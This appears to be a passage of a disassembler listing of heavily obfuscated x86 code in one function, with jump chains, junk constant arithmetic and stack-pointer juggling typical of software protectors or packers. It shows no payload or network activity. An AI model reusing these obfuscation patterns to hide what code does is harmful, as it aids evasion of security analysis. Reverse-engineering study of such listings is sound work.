loc_59F6ED: ; CODE XREF: sub_580566+1F5C4j pop esi add edx, 8F9185D8h push edx mov edx, 28144F14h neg edx neg edx sub edx, 0B3612492h sub ebx, edx mov edx, [esp-4Ch+arg_44] add esp, 4 sub ebx, edx push eax mov eax, 74B32A82h add ebx, eax pop eax jmp loc_59952C ; --------------------------------------------------------------------------- loc_59F71C: ; CODE XREF: sub_580566+21BDAj mov esi, [esp-50h+arg_48] push 72E2h mov [esp-4Ch+arg_44], esi mov esi, esp add esi, 4 jmp loc_592F39 ; --------------------------------------------------------------------------- loc_59F734: ; CODE XREF: sub_580566+15976j add ebp, 4 add ebp, 4 xchg ebp, [esp-3Ah+arg_30+2] pop esp add eax, 4 push esi mov esi, 7CEB15BAh not esi add esi, 2D7B7A25h xor esi, 0D33D593Ah shl esi, 4 sub esi, 3AD3D4FCh add eax, esi push [esp-3Ah+arg_30+2] pop esi sub esp, 4 mov [esp-36h+arg_2C+2], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] xchg eax, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] mov ecx, [esp-36h+arg_2C+2] sub esp, 4 mov [esp-32h+arg_28+2], eax push esp jmp loc_592D83 ; --------------------------------------------------------------------------- loc_59F79B: ; CODE XREF: sub_580566+236FEj sub ebx, 75A01972h neg ebx dec ebx sub ebx, 0AD14B740h sub esi, ebx pop ebx mov ebx, [esp-32h+arg_28+2] add esp, 4 xor esi, [esp-36h+arg_2C+2] xor [esp-36h+arg_2C+2], esi xor esi, [esp-36h+arg_2C+2] jmp loc_597584 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push [esp-32h+arg_28+2] mov ecx, [esp-2Eh+arg_24+2] push ebx jmp loc_598810 ; --------------------------------------------------------------------------- loc_59F7D3: ; CODE XREF: sub_580566+22526j and eax, 2ACF3E6Ah shl eax, 2 xor eax, 0F3AAEEE4h neg eax not eax shl eax, 6 dec eax sub eax, 110E2474h sub eax, 518FB447h add edx, 69AC1A4Eh add edx, eax sub edx, 69AC1A4Eh mov eax, [esp-2Ah+arg_20+2] add esp, 4 push ebx mov ebx, 4 jmp loc_59BD3D ; --------------------------------------------------------------------------- loc_59F811: ; CODE XREF: sub_580566+21D13j add esp, 4 push esi mov esi, 12A25BF9h jmp loc_59E85C ; --------------------------------------------------------------------------- lodsb add al, 6 sub al, 9 jmp loc_59B48F ; --------------------------------------------------------------------------- loc_59F829: ; CODE XREF: sub_580566+1C0B8j neg ebp jmp loc_59BA49 ; --------------------------------------------------------------------------- loc_59F830: ; CODE XREF: sub_580566+186D6j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59F835: ; CODE XREF: sub_580566+1546Bj mov eax, 199C0BEFh push eax not [esp-20h+arg_16+2] pop eax shl eax, 6 sub eax, 781BDCE9h jmp loc_59C533 ; --------------------------------------------------------------------------- loc_59F84C: ; CODE XREF: sub_580566+18B15j sub edi, 340FC8Fh mov ecx, edi pop edi push edx mov edx, 4D863504h jmp loc_59F63B ; --------------------------------------------------------------------------- loc_59F860: ; CODE XREF: sub_580566+1FE2Aj mov edi, 4 add edx, edi pop edi xor edx, [esp-50h+arg_48] xor [esp-50h+arg_48], edx xor edx, [esp-50h+arg_48] pop esp loc_59F872: ; CODE XREF: sub_580566+10BA3j push 5554h jmp loc_599D6A ; --------------------------------------------------------------------------- loc_59F87C: ; CODE XREF: sub_580566+1A474j pop eax xchg ebp, [esp-56h+arg_4E] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-56h+arg_4E] jmp loc_5A2F09 ; --------------------------------------------------------------------------- loc_59F895: ; CODE XREF: sub_580566+12A7Bj sub esp, 4 jmp loc_5A245B ; --------------------------------------------------------------------------- loc_59F8A0: ; CODE XREF: sub_580566+109A7j add esp, 4 jmp loc_5968AA ; --------------------------------------------------------------------------- loc_59F8AB: ; CODE XREF: sub_580566+15DA2j sub [esp-3Ah+arg_38+2], 1C00DA0h pop ebx push esi jmp loc_594ACC ; --------------------------------------------------------------------------- loc_59F8BA: ; CODE XREF: sub_580566+1E5C8j sub ch, 0D3h jmp loc_595F9A ; --------------------------------------------------------------------------- loc_59F8C2: ; CODE XREF: sub_580566+134BFj push ebx push esp jmp loc_59E4BF ; --------------------------------------------------------------------------- loc_59F8C9: ; DATA XREF: sub_580566+10292o mov cx, word ptr [esp-4Eh+arg_44+2] push ebx push esp pop ebx jmp loc_59EA21 ; --------------------------------------------------------------------------- loc_59F8D5: ; CODE XREF: sub_580566+16EEBj push 261C3B19h pop eax shr eax, 5 dec eax push 0 sub [esp-3Ch+arg_34], 6A5D22B5h jmp loc_59AF23 ; --------------------------------------------------------------------------- loc_59F8F0: ; CODE XREF: sub_580566+1D39Fj mov edx, 444B4EC5h mov esi, edx pop edx push edx jmp loc_597DC8 ; --------------------------------------------------------------------------- loc_59F8FE: ; CODE XREF: sub_580566+1DBD5j add edx, 0BCFF95A6h add ecx, edx pop edx jmp loc_599C7B ; --------------------------------------------------------------------------- loc_59F90C: ; CODE XREF: sub_580566+1ECFDj add [esp-40h+arg_38], 4 pop ebp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp-40h+arg_38], ebp push [esp-40h+arg_3C] mov ebp, [esp-3Ch+arg_34] add esp, 4 pop [esp-40h+arg_38] pop esp sub esp, 4 mov [esp-44h+arg_3C], esi sub esp, 4 mov [esp-40h+arg_38], esp add [esp-40h+arg_38], 4 pop esi push eax mov eax, 4 add esi, eax jmp loc_5A0135 ; --------------------------------------------------------------------------- loc_59F94F: ; CODE XREF: sub_580566+12AB8j sub ebp, 4 xchg ebp, [esp-46h+arg_3C+2] pop esp jmp loc_5A11C9 ; --------------------------------------------------------------------------- loc_59F95B: ; CODE XREF: sub_580566+15BF4j pop eax pop [esp-42h+arg_38+2] pop esp test ecx, eax pushf jmp loc_5925E9 ; --------------------------------------------------------------------------- loc_59F968: ; CODE XREF: sub_580566+1E328j add ecx, 3C66644h sub ecx, 7ADD0BC1h jmp loc_5A4557 ; --------------------------------------------------------------------------- loc_59F979: ; CODE XREF: sub_580566+234A6j mov [esp-3Ch+arg_34], ebx mov ebx, 2 mov ecx, ebx pop ebx add edi, 0C42E90h add edi, ecx push edx mov edx, 0C42E90h sub edi, edx pop edx mov ecx, [esp-40h+arg_38] jmp loc_5A215E ; --------------------------------------------------------------------------- loc_59F99D: ; CODE XREF: sub_580566+10CB0j xor [esp-34h+arg_2C], eax xor eax, [esp-34h+arg_2C] pop esp shl byte ptr [esp-38h+arg_30], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59F9AD: ; CODE XREF: sub_580566+177C1j add esp, 4 push 6777h mov [esp-34h+arg_2C], ebx mov ebx, esp jmp loc_592AD7 ; --------------------------------------------------------------------------- loc_59F9C2: ; CODE XREF: sub_580566+14026j push dword ptr [edi+eax*4] push [esp-1Ch+arg_12+2] jmp loc_5A5A48 ; --------------------------------------------------------------------------- loc_59F9CD: ; CODE XREF: sub_580566+198C6j pop edi sub esi, 4 jmp loc_5A1F81 ; --------------------------------------------------------------------------- loc_59F9D6: ; CODE XREF: sub_580566+1235Aj push 74A4h jmp loc_5A0B64 ; --------------------------------------------------------------------------- loc_59F9E0: ; CODE XREF: sub_580566+19EE5j mov [esp-48h+arg_40], ebx push 35F7h mov [esp-44h+arg_3C], eax push ecx mov ch, dl jmp loc_590D37 ; --------------------------------------------------------------------------- loc_59F9F3: ; DATA XREF: sub_580566+10422o push [esp-40h+arg_38] jmp loc_590B71 ; --------------------------------------------------------------------------- loc_59F9FB: ; CODE XREF: sub_580566+2374Fj xor edi, 31A30A6Eh add esi, edi pop edi jmp loc_5911AC ; --------------------------------------------------------------------------- loc_59FA09: ; CODE XREF: sub_580566+1D74Fj pop esp push [esp-3Ch+arg_34] pop edx add esp, 4 mov edi, ebp mov ebp, [esp-40h+arg_38] push ebx mov ebx, esp push eax mov eax, 4 jmp loc_5A3E8D ; --------------------------------------------------------------------------- loc_59FA27: ; CODE XREF: sub_580566+1CF8Aj sub esp, 4 mov [esp-2Ch+arg_24], eax mov eax, 41CD0218h neg eax push edi jmp loc_59B210 ; --------------------------------------------------------------------------- loc_59FA3A: ; CODE XREF: sub_580566+1AC5Dj sub eax, ecx jmp loc_59E159 ; --------------------------------------------------------------------------- loc_59FA41: ; CODE XREF: sub_580566+2377Aj mov al, 9 or al, 0B4h shr al, 3 add al, 8Dh push ecx mov ecx, esp jmp loc_59926B ; --------------------------------------------------------------------------- loc_59FA52: ; CODE XREF: sub_580566+1B71Dj mov edx, eax pop eax add edx, 0B75A9B09h jmp loc_59E7D7 ; --------------------------------------------------------------------------- loc_59FA60: ; CODE XREF: sub_580566+169EEj push edx mov edx, 77752DA5h mov ecx, edx pop edx inc ecx xor ecx, 326676B1h jmp loc_59D983 ; --------------------------------------------------------------------------- loc_59FA75: ; CODE XREF: sub_580566+10ADFj add ebp, 0C3A53DD7h mov ecx, ebp mov ebp, [esp-42h+arg_38+2] jmp loc_5A18D8 ; --------------------------------------------------------------------------- loc_59FA85: ; CODE XREF: sub_580566+1E81Ej xor ebp, 470F0AD1h add esi, 72122F2Fh add esi, ebp sub esi, 72122F2Fh pop ebp push eax mov eax, 4 jmp loc_5A1EAD ; --------------------------------------------------------------------------- loc_59FAA5: ; CODE XREF: sub_580566+1236Ej xor ecx, 327D260Ch shr ecx, 6 jmp loc_59C71D ; --------------------------------------------------------------------------- loc_59FAB3: ; CODE XREF: sub_580566+2061Bj pop esi xchg edx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] pop [esp-3Ch+arg_34] pop esp rol word ptr [esp-44h+arg_3C], cl pushf jmp loc_59EE47 ; --------------------------------------------------------------------------- loc_59FAC8: ; CODE XREF: sub_580566+1CF92j pop eax sub esp, 4 mov [esp-56h+arg_4E], eax push 936h jmp loc_5A1A75 ; --------------------------------------------------------------------------- loc_59FAD9: ; CODE XREF: sub_580566+1A529j mov [esp-3Ah+arg_30+2], esi mov esi, 4 sub ebp, esi jmp loc_59A047 ; --------------------------------------------------------------------------- loc_59FAE8: ; CODE XREF: sub_580566+15F4Cj mov [esp-2Eh+arg_24+2], ecx mov ecx, 6486B3Fh and edx, ecx jmp loc_5918CC ; --------------------------------------------------------------------------- loc_59FAF7: ; CODE XREF: sub_580566+1BD87j sub ecx, edx pop edx jmp loc_599C0C ; --------------------------------------------------------------------------- loc_59FAFF: ; CODE XREF: sub_580566+166E4j inc edx jmp loc_5A5AA9 ; --------------------------------------------------------------------------- loc_59FB05: ; CODE XREF: sub_580566+24073j pop eax push edx mov edx, 71C371E3h dec edx push esi mov esi, 48774D46h shr esi, 8 add esi, 795BBF8h add edx, 50E8049Bh add edx, esi sub edx, 50E8049Bh jmp loc_59F6ED ; --------------------------------------------------------------------------- loc_59FB2F: ; CODE XREF: sub_580566+15FC4j xor ebx, 2AA643DEh dec ebx add ebx, 0AF32528Eh sub ebp, ebx pop ebx mov edi, [esp-4Ah+arg_40+2] add esp, 4 push edx jmp loc_59D586 ; --------------------------------------------------------------------------- loc_59FB4B: ; CODE XREF: sub_580566+1DD06j mov ch, 0C4h shl ch, 5 not ch push eax mov al, 0B3h xor al, 0D2h sub ch, al mov eax, [esp-28h+arg_20] add esp, 4 add al, ch pop ecx sub al, 0BBh sub al, bl add al, 0BBh push dx jmp loc_5A4D4F ; --------------------------------------------------------------------------- loc_59FB72: ; CODE XREF: sub_580566+1B3CCj mov [esp-44h+arg_3C], ecx jmp loc_59850F ; --------------------------------------------------------------------------- loc_59FB7A: ; CODE XREF: sub_580566+1AD44j mov [esp-3Eh+arg_34+2], ebx mov ebx, 5DED730Fh add ebx, 0FFFFFFFFh shr ebx, 3 dec ebx sub ebx, 328362F2h sub ebx, 0D93A4B6Ah add edi, ebx pop ebx push edx mov edx, 4 sub edi, edx jmp loc_5A11F2 ; --------------------------------------------------------------------------- loc_59FBA8: ; CODE XREF: sub_580566+1316Dj add eax, 2 xchg eax, [esp-1Ch+arg_12+2] pop esp jmp loc_595C1B ; --------------------------------------------------------------------------- loc_59FBB6: ; CODE XREF: sub_580566+16EA8j pop ecx push ecx push 4 pop ecx add esi, ecx mov ecx, [esp-70h+arg_66+2] add esp, 4 xor esi, [esp-74h+arg_6A+2] xor [esp-74h+arg_6A+2], esi jmp loc_595028 ; --------------------------------------------------------------------------- loc_59FBD4: ; CODE XREF: sub_580566+1CE57j or ebx, eax jmp loc_596353 ; --------------------------------------------------------------------------- loc_59FBDB: ; CODE XREF: sub_580566+23A5Dj mov eax, 1A095741h add eax, 0FFFFFFFFh inc eax sub eax, 31341599h inc eax and eax, 5EA9744Bh sub eax, 48814005h add ebp, eax pop eax jmp loc_5A45B8 ; --------------------------------------------------------------------------- loc_59FBFE: ; CODE XREF: sub_580566+1A9D3j mov edi, 6B3A2DE5h sub ebp, edi pop edi add ebp, 161D1ACDh mov ecx, [esp-32h+arg_28+2] add esp, 4 jmp loc_59B1AD ; --------------------------------------------------------------------------- loc_59FC17: ; CODE XREF: sub_580566+210E4j mov ecx, 7B2309C3h add ebx, ecx pop ecx jmp loc_59D5BD ; --------------------------------------------------------------------------- loc_59FC24: ; CODE XREF: sub_580566+1CF4Bj mov ecx, esp add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp-2Ah+arg_20+2] pop esp add esi, 4 xor esi, [esp-2Eh+arg_24+2] xor [esp-2Eh+arg_24+2], esi xor esi, [esp-2Eh+arg_24+2] pop esp shr eax, 0Bh xor ecx, eax push 3F34h mov [esp-2Eh+arg_24+2], ecx jmp loc_599019 ; --------------------------------------------------------------------------- loc_59FC5B: ; CODE XREF: sub_580566+11BF3j mov ebx, esp add ebx, 4 jmp loc_596F8A ; --------------------------------------------------------------------------- loc_59FC68: ; CODE XREF: sub_580566+223B8j sub esi, 4 push 4AB5h mov [esp-3Ch+arg_34], esi push [esp-3Ch+arg_38] pop esi pop [esp-3Ch+arg_34] jmp loc_598676 ; --------------------------------------------------------------------------- loc_59FC83: ; CODE XREF: sub_580566+23EA2j mov edi, esp add edi, 4 add edi, 4 jmp loc_599792 ; --------------------------------------------------------------------------- loc_59FC96: ; CODE XREF: sub_580566+22954j mov [esp-40h+arg_38], edi push esi push esp pop esi push edx jmp loc_5960BD ; --------------------------------------------------------------------------- loc_59FCA2: ; CODE XREF: sub_580566+1B097j mov esp, [esp-56h+arg_4E] btc word ptr [esp-56h+arg_4E], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59FCB0: ; CODE XREF: sub_580566+1FCF9j xor edx, 1B9C09Bh mov ebx, edx pop edx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59FCBE: ; CODE XREF: sub_580566+1A2F4j pop edx not edx jmp loc_590E0F ; --------------------------------------------------------------------------- loc_59FCC6: ; CODE XREF: sub_580566+1E460j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59FCCB: ; CODE XREF: sub_580566+2348Cj push ebp push esp pop ebp add ebp, 4 push ebx jmp loc_595084 ; --------------------------------------------------------------------------- loc_59FCDA: ; CODE XREF: sub_580566+1779Aj xor esi, [esp-5Eh+arg_56] xor [esp-5Eh+arg_56], esi xor esi, [esp-5Eh+arg_56] mov esp, [esp-5Eh+arg_56] pop [esp-5Eh+arg_56] pop esp div cl movzx cx, ah push small 64EAh mov word ptr [esp-64h+arg_5A+2], cx movzx cx, al push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- mov ax, word ptr [esp-5Eh+arg_56] push edi mov edi, esp push ebp jmp loc_591524 ; --------------------------------------------------------------------------- loc_59FD11: ; CODE XREF: sub_580566+18FFBj sub ebx, 83006C0h jmp loc_59BEFB ; --------------------------------------------------------------------------- loc_59FD1C: ; CODE XREF: sub_580566+22AF7j xchg eax, [esp-1Ch+arg_12+2] pop esp mov [esp-20h+arg_16+2], edi mov edi, 1CFB2D3Bh jmp loc_5A129F ; --------------------------------------------------------------------------- loc_59FD2D: ; CODE XREF: sub_580566+153DEj add ebx, 4 push ecx jmp loc_597EA3 ; --------------------------------------------------------------------------- loc_59FD39: ; CODE XREF: sub_580566+156C5j inc al sub al, 0D4h push ebx mov bl, al jmp loc_59E742 ; --------------------------------------------------------------------------- loc_59FD45: ; CODE XREF: sub_580566+1A773j push ebp push [esp-2Ah+arg_24+2] pop ebp jmp loc_59B88F ; --------------------------------------------------------------------------- loc_59FD50: ; CODE XREF: sub_580566+18491j mov ebp, esi mov eax, ebp pop ebp pop esi jmp loc_59AF5E ; --------------------------------------------------------------------------- loc_59FD5B: ; CODE XREF: sub_580566+1921Aj xchg ecx, [esp-34h+arg_2C] pop esp push edi mov edi, 787647Eh inc edi shl edi, 8 and edi, 5CE37489h push eax mov eax, 3164B60h xor eax, 112E6C6Bh jmp loc_59A647 ; --------------------------------------------------------------------------- loc_59FD7F: ; CODE XREF: sub_580566+18283j push esi mov esi, 9EC9B2B5h add ebx, 65FC6010h add ebx, esi sub ebx, 65FC6010h mov esi, [esp-46h+arg_3C+2] add esp, 4 jmp loc_59AAC3 ; --------------------------------------------------------------------------- loc_59FDA1: ; CODE XREF: sub_580566+13D09j neg esi jmp loc_5923A5 ; --------------------------------------------------------------------------- loc_59FDA8: ; CODE XREF: sub_580566+23CA7j add ebx, 4 push eax jmp loc_591EFB ; --------------------------------------------------------------------------- loc_59FDB4: ; CODE XREF: sub_580566+1C370j add edi, 1604478Ch push [esp-2Ch+arg_24] pop eax push ecx mov ecx, esp add ecx, 4 push edi mov edi, 0F0C59B1h shl edi, 1 neg edi or edi, 447839FDh shr edi, 8 sub edi, 61322A36h push ecx jmp loc_5A5109 ; --------------------------------------------------------------------------- loc_59FDE6: ; CODE XREF: sub_580566+21EDBj cmp cl, al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59FDEE: ; CODE XREF: sub_580566+1FA3Cj sub ebp, 11B72D4h add ebp, edx jmp loc_597375 ; --------------------------------------------------------------------------- loc_59FDFB: ; CODE XREF: sub_580566+1DDE4j xor edx, 4AA08444h jmp loc_5A2145 ; --------------------------------------------------------------------------- loc_59FE06: ; CODE XREF: sub_580566+1E045j push 2B43h mov [esp-32h+arg_28+2], edx push edi mov edi, 1D3C181Fh mov edx, edi pop edi sub ebx, edx pop edx add ebx, 5246AEAh jmp loc_5985CA ; --------------------------------------------------------------------------- loc_59FE25: ; CODE XREF: sub_580566+17D62j push esi jmp loc_59A7B1 ; --------------------------------------------------------------------------- loc_59FE2B: ; CODE XREF: sub_580566+12363j pop esi pop [esp-14h+arg_A+2] pop esp push 2958h mov [esp-18h+arg_E+2], esi push 42Ch mov [esp-14h+arg_A+2], edx push 3EBC41B5h pop edx push 2131h mov [esp+0], ecx sub esp, 4 jmp loc_5A2069 ; --------------------------------------------------------------------------- loc_59FE56: ; CODE XREF: sub_580566+196B1j add eax, 4 xchg eax, [esp-28h+arg_20] jmp loc_592951 ; --------------------------------------------------------------------------- loc_59FE63: ; CODE XREF: sub_580566+20267j mov ebx, 0F869E22Eh add ebp, ebx pop ebx add eax, ebp pop ebp jmp loc_593C16 ; --------------------------------------------------------------------------- loc_59FE73: ; CODE XREF: sub_580566+1DC57j sub esi, 18623B74h jmp loc_59CF38 ; --------------------------------------------------------------------------- loc_59FE7E: ; CODE XREF: sub_580566+10674j pop ebx push esi mov esi, 2 add ecx, esi jmp loc_599DA8 ; --------------------------------------------------------------------------- loc_59FE8C: ; CODE XREF: sub_580566+23632j pop esi xor esi, 0A0D64BFh or esi, 45F83E09h push ebx jmp loc_5A50DE ; --------------------------------------------------------------------------- loc_59FE9F: ; CODE XREF: sub_580566+1EB10j pop esi jmp loc_599CA4 ; --------------------------------------------------------------------------- loc_59FEA5: ; CODE XREF: sub_580566+12454j push [esp-3Ch+arg_34] pop edi push ebp push esp pop ebp add ebp, 4 jmp loc_59CA88 ; --------------------------------------------------------------------------- loc_59FEB7: ; CODE XREF: sub_580566+1C95Dj add esi, 142224h add esi, ebp sub esi, 142224h pop ebp jmp loc_59717C ; --------------------------------------------------------------------------- loc_59FECB: ; CODE XREF: sub_580566+1EA1Dj not edx xor edx, 0A6219004h jmp loc_594FE7 ; --------------------------------------------------------------------------- loc_59FED8: ; CODE XREF: sub_580566+1FA31j mov ebp, [esp-14h+arg_A+2] push ecx push esp jmp loc_59E7E4 ; --------------------------------------------------------------------------- loc_59FEE2: ; CODE XREF: sub_580566+17E18j dec byte ptr [esp-34h+arg_2C+1] pop ax mov cl, ah mov ax, word ptr [esp-36h+arg_2C+2] add esp, 2 sub cl, 0BBh sub cl, 94h jmp loc_594574 ; --------------------------------------------------------------------------- loc_59FEFC: ; CODE XREF: sub_580566+14A2Aj not ebx jmp loc_59C70F ; --------------------------------------------------------------------------- mov ax, word ptr [esp-52h+arg_48+2] push edx jmp loc_597567 ; --------------------------------------------------------------------------- loc_59FF0D: ; CODE XREF: sub_580566+18EE8j shl edx, 1 push dword ptr [edi+24h] push edx sub esp, 4 jmp loc_59A5C1 ; --------------------------------------------------------------------------- loc_59FF1B: ; CODE XREF: sub_580566+1495Dj push eax mov eax, 417B253Bh add ecx, eax pop eax add eax, ecx pop ecx sub eax, 2AE14CADh jmp loc_599F02 ; --------------------------------------------------------------------------- loc_59FF31: ; CODE XREF: sub_580566+1487Dj mov [esp-20h+arg_16+2], esi mov esi, 2E430BCCh jmp loc_594B83 ; --------------------------------------------------------------------------- loc_59FF3E: ; CODE XREF: sub_580566+21E5Ej sub esi, ebx pop ebx jmp loc_5A2EF0 ; --------------------------------------------------------------------------- loc_59FF46: ; CODE XREF: sub_580566+1BCD9j xor edx, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], edx jmp loc_59C1BC ; --------------------------------------------------------------------------- loc_59FF51: ; CODE XREF: sub_580566+17DE1j mov bl, 45h or bl, 0BBh shr bl, 4 push ax jmp loc_5A004E ; --------------------------------------------------------------------------- loc_59FF60: ; CODE XREF: sub_580566+127F4j add esi, 4 xchg esi, [esp-3Ch+arg_34] jmp loc_599CAA ; --------------------------------------------------------------------------- loc_59FF6E: ; CODE XREF: sub_580566+240B8j push esi jmp loc_59AE04 ; --------------------------------------------------------------------------- loc_59FF74: ; CODE XREF: sub_580566+1CB4Fj xor ecx, esi jmp loc_59EA83 ; --------------------------------------------------------------------------- loc_59FF7B: ; CODE XREF: sub_580566+13D28j mov esi, esp add esi, 4 push ebp mov ebp, 4 add esi, 68D1E1Eh add esi, ebp sub esi, 68D1E1Eh jmp loc_59FED8 ; --------------------------------------------------------------------------- loc_59FF9C: ; CODE XREF: sub_580566+131ACj push edx mov edx, 1 jmp loc_59FDEE ; --------------------------------------------------------------------------- loc_59FFA7: ; CODE XREF: sub_580566+11BC7j mov edi, 2 mov esi, edi pop edi add ebp, esi mov esi, [esp-44h+arg_3C] add esp, 4 xor ebp, [esp-48h+arg_40] xor [esp-48h+arg_40], ebp xor ebp, [esp-48h+arg_40] pop esp push 6C5Fh jmp loc_599D7A ; --------------------------------------------------------------------------- loc_59FFCE: ; CODE XREF: sub_580566+1CFD1j xor dh, 0A0h add dh, 0BAh dec dh add dh, 1Bh jmp loc_5A396C ; --------------------------------------------------------------------------- loc_59FFDE: ; CODE XREF: sub_580566+22DE3j xor [esp-3Eh+arg_34+2], ebp jmp loc_5960DD ; --------------------------------------------------------------------------- loc_59FFE6: ; CODE XREF: sub_580566+14CF1j add esp, 4 jmp loc_5969C8 ; --------------------------------------------------------------------------- loc_59FFF1: ; CODE XREF: sub_580566+14B0Ej mov edi, 781F3B0Dh add ebp, edi pop edi sub ebp, ebx push esi jmp loc_596425 ; --------------------------------------------------------------------------- loc_5A0001: ; CODE XREF: sub_580566+1A59Fj pop ebx mov ecx, [esp-50h+arg_48] add esp, 4 sub esp, 4 mov [esp-50h+arg_48], ebx mov bh, ah mov dl, bh pop ebx pop eax mov ebx, [esp-58h+arg_4E+2] add esp, 4 mov [ebx], dl jmp loc_591D4D ; --------------------------------------------------------------------------- loc_5A0024: ; CODE XREF: sub_580566+1C66Dj pop ebp add eax, 115D4D05h sub eax, ebx jmp loc_59C79E ; --------------------------------------------------------------------------- loc_5A0031: ; CODE XREF: sub_580566+21BA5j pop esi inc esi add esi, 260D4A2Eh sub esi, 3B423F90h jmp loc_5A3E7F ; --------------------------------------------------------------------------- loc_5A0044: ; CODE XREF: sub_580566+15B95j push 0C85h jmp loc_59D664 ; --------------------------------------------------------------------------- loc_5A004E: ; CODE XREF: sub_580566+1F9F5j mov al, 0C4h sub bl, al pop ax not bl xor bl, 8Eh mov dl, bl jmp loc_5A4A10 ; --------------------------------------------------------------------------- loc_5A0060: ; CODE XREF: sub_580566+22C2Dj push ebx mov ebx, 4 jmp loc_59BA0A ; --------------------------------------------------------------------------- loc_5A006B: ; CODE XREF: sub_580566+1E796j push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp push edi push [esp-54h+arg_4E+2] pop edi jmp loc_595365 ; --------------------------------------------------------------------------- loc_5A0089: ; CODE XREF: sub_580566+1808Dj add esp, 4 mov ebx, [esp-24h+arg_1A+2] add esp, 4 push 0E51h mov [esp-24h+arg_1A+2], ecx push edx mov dl, 6 mov ch, dl pop edx jmp loc_5A03DF ; --------------------------------------------------------------------------- loc_5A00A8: ; CODE XREF: sub_580566+15BDFj mov [esp-22h+arg_1A], eax push ecx mov ecx, 3A253CDBh sub ecx, 5760E5Dh add ecx, 230A1BB2h push ecx xor [esp-1Ah+arg_12], 184D4DACh pop eax push 1369h mov [esp-1Ah+arg_12], esi mov esi, 184D4DACh jmp loc_5A48E0 ; --------------------------------------------------------------------------- loc_5A00D8: ; CODE XREF: sub_580566+1CE25j mov edi, [esp-3Ah+arg_30+2] sub esp, 4 mov [esp-36h+arg_2C+2], eax push esp jmp loc_5A27B9 ; --------------------------------------------------------------------------- loc_5A00E7: ; CODE XREF: sub_580566+23640j pop eax add eax, 4 push edi jmp loc_59311F ; --------------------------------------------------------------------------- loc_5A00F3: ; CODE XREF: sub_580566+1B21Dj pop [esp-24h+arg_1A+2] add [esp-28h+arg_20], 4 pop eax jmp loc_590E17 ; --------------------------------------------------------------------------- loc_5A0100: ; CODE XREF: sub_580566+1123Ej pop ebx jmp loc_5A49C3 ; --------------------------------------------------------------------------- loc_5A0106: ; CODE XREF: sub_580566+15483j sub eax, 4471BF4h push 48CAh mov [esp-24h+arg_1A+2], edx jmp loc_5A3F37 ; --------------------------------------------------------------------------- loc_5A0118: ; CODE XREF: sub_580566+1F0A0j push ebx mov bl, 9Fh jmp loc_591E3F ; --------------------------------------------------------------------------- loc_5A0120: ; CODE XREF: sub_580566+22017j add ebx, edx sub ebx, 4CD82756h pop edx jmp loc_591725 ; --------------------------------------------------------------------------- loc_5A012E: ; CODE XREF: sub_580566+21323j mov ebp, edx jmp loc_5A3163 ; --------------------------------------------------------------------------- loc_5A0135: ; CODE XREF: sub_580566+1F3E4j pop eax add esi, 4 xor esi, [esp-44h+arg_3C] xor [esp-44h+arg_3C], esi xor esi, [esp-44h+arg_3C] jmp loc_594456 ; --------------------------------------------------------------------------- loc_5A014A: ; CODE XREF: sub_580566+10931j inc [esp-3Ah+arg_30+2] pop eax sub esp, 4 mov [esp-3Ah+arg_30+2], ebx sub esp, 4 mov [esp-36h+arg_2C+2], edx mov edx, 47600014h and edx, 28AB18CFh add edx, 21ED4180h shr edx, 7 inc edx sub edx, 0EA30FFA6h jmp loc_59DF29 ; --------------------------------------------------------------------------- loc_5A0180: ; CODE XREF: sub_580566+1090Aj sub esi, (offset loc_42447A+2) add ebp, esi pop esi push 6A5Ah mov [esp-3Eh+arg_34+2], ebp push [esp-3Eh+arg_38+2] jmp loc_59CD80 ; --------------------------------------------------------------------------- loc_5A019A: ; CODE XREF: sub_580566+14056j add esi, 0D46D5410h sub esi, 6B691968h not esi jmp loc_5A0E43 ; --------------------------------------------------------------------------- loc_5A01AD: ; CODE XREF: sub_580566+22D6Aj sub edx, 4 xchg edx, [esp-24h+arg_1A+2] pop esp mov [esp-28h+arg_20], esi mov esi, esp add esi, 4 jmp loc_5A4FD1 ; --------------------------------------------------------------------------- loc_5A01C7: ; CODE XREF: sub_580566+10A53j add edi, 4 add edi, 4 xchg edi, [esp-4Ah+arg_40+2] pop esp push ebx mov ebx, 4 add ecx, 509D4593h jmp loc_5962DE ; --------------------------------------------------------------------------- loc_5A01E5: ; CODE XREF: sub_580566+17AABj mov ebp, 35766794h and edx, ebp pop ebp neg edx jmp loc_59B221 ; --------------------------------------------------------------------------- loc_5A01F4: ; CODE XREF: sub_580566+16D53j mov cl, dh pop edx push eax mov al, cl jmp loc_59A85F ; --------------------------------------------------------------------------- loc_5A01FF: ; CODE XREF: sub_580566+1904Aj add eax, 36590F64h sub eax, ecx sub eax, 36590F64h sub eax, 4A4233DDh push [esp-42h+arg_38+2] pop ecx push ebp mov ebp, esp jmp loc_5A3FB4 ; --------------------------------------------------------------------------- loc_5A021C: ; CODE XREF: sub_580566+1D3CCj push ecx jmp loc_5989FC ; --------------------------------------------------------------------------- lodsb xor al, bl push 1098h jmp loc_5A0723 ; --------------------------------------------------------------------------- loc_5A022F: ; CODE XREF: sub_580566+1DBF9j sub eax, 1F8D0E33h mov edx, eax mov eax, [esp-44h+arg_3C] push ebp mov ebp, esp push edx mov edx, 9C32084h add edx, 0FFFFFFFFh dec edx xor edx, 9C32086h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp-40h+arg_38] pop esp sub edx, 1031625Bh shr edx, 3 jmp loc_59FCB0 ; --------------------------------------------------------------------------- loc_5A0264: ; CODE XREF: sub_580566+1055Aj not ecx sub ecx, 8EE7891Bh or esi, ecx pop ecx or 